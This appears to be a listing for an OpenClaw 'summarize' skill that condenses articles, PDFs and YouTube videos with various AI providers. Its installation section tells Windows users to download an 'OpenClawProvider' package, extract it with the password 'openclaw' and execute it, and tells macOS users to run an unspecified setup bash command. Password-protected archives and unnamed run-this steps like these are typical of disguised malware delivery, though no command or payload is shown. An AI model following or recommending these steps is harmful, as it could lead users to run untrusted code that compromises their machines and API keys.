summarize

What This Skill Does

The summarize skill is a high-performance command-line interface designed for OpenClaw users to condense information from a vast array of sources. Whether you are dealing with online articles, complex PDF documents, image-based text, audio transcriptions, or YouTube videos, this tool acts as a versatile bridge between raw data and actionable intelligence. By leveraging a variety of high-end AI models, it converts long-form content into concise summaries based on user-defined length requirements, saving significant time during research and content ingestion.

Installation

To utilize this skill, you must first ensure the OpenClawProvider is installed. On Windows, download the package from the official GitHub repository, extract it using the password 'openclaw', and execute the application. For MacOS users, run the provided setup-wizard bash command in your terminal to initialize the necessary environmental dependencies. Once the provider is active, install the skill itself by running clawhub install openclaw/skills/skills/sakaen736jih/summarize-jd4g in your OpenClaw terminal.

Use Cases

This skill is perfect for busy professionals, students, and developers. Use it to quickly digest long technical documentation from PDFs without reading every line. Marketers can use it to summarize competitor blog posts via URLs to find key selling points. Educators or researchers can process YouTube lecture transcripts automatically. By setting environment variables like OPENAI_API_KEY or GEMINI_API_KEY, you can choose the intelligence engine that best fits your workflow, making it a critical tool for knowledge management and rapid information gathering.

Example Prompts

1. "Summarize the PDF at /documents/annual-report.pdf into a short executive brief."
2. "Can you summarize this YouTube video at https://youtu.be/dQw4w9WgXcQ? Please keep it under 500 characters."
3. "Summarize https://example.com/long-article and output the result in JSON format so I can pipe it into another tool."

Tips & Limitations

For the best results, ensure you have your API keys set for providers like OpenAI or Anthropic. If you encounter issues with blocked websites, configure the FIRECRAWL_API_KEY to allow the engine to bypass scraper protections. Note that while YouTube support is robust, it relies on the APIFY_API_TOKEN for fallback extraction. Always check your model choice if outputs aren't matching your expectations; the default is a high-speed flash model, but you can override this in the ~/.summarize/config.json file for more complex reasoning tasks.